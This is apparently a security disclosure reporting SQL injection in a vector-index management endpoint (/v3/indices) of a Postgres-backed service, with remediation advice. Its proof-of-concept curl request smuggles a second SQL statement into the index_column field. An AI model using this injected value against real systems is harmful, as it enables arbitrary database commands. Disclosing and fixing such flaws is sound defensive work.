[Security][High] SQL injection in vector index management (create_index / delete_index)

Summary While auditing the Postgres database provider, I found a SQL injection vulnerability in PostgresChunksHandler where user-supplied index_name and index_column are concatenated into SQL using f-strings and executed. The endpoint exposed is /v3/indices.

Risk An authenticated or default-admin user can craft identifiers that execute arbitrary SQL (create/drop objects, escalate privileges, persist backdoors).

Reproduction (PoC)

curl -X POST "http://localhost:7272/v3/indices" \
  -H "Content-Type: application/json" \
  -d '{
    "config": {
      "table_name": "chunks",
      "index_method": "hnsw",
      "index_measure": "cosine_distance",
      "index_name": "poc_idx",
      "index_column": "vec vector_cosine_ops); CREATE TABLE public.poc_success_executed (info text); --",
      "concurrently": false
    }
  }'

Expected result

• The service should validate identifiers and reject the request (HTTP 400) with a clear validation error. No injected SQL should be constructed or executed.

Actual result

• The service constructs a CREATE INDEX ... USING ... ({index_column} _cosine_ops); SQL string and attempts to execute it. The underlying database driver allows the execution of multiple semicolon-separated statements, which executes the injected CREATE TABLE command on the database.

Affected files

• py/core/providers/database/chunks.py

Recommendation

• Reject or strictly validate user-controlled identifiers.
• Quote SQL identifiers properly (double-quote) and limit allowed characters/length.
• Consider enabling require_authentication by default and add RBAC for management endpoints.

Severity / Notes

• Severity: High (arbitrary SQL execution).
• Consider backporting the fix to maintained release branches.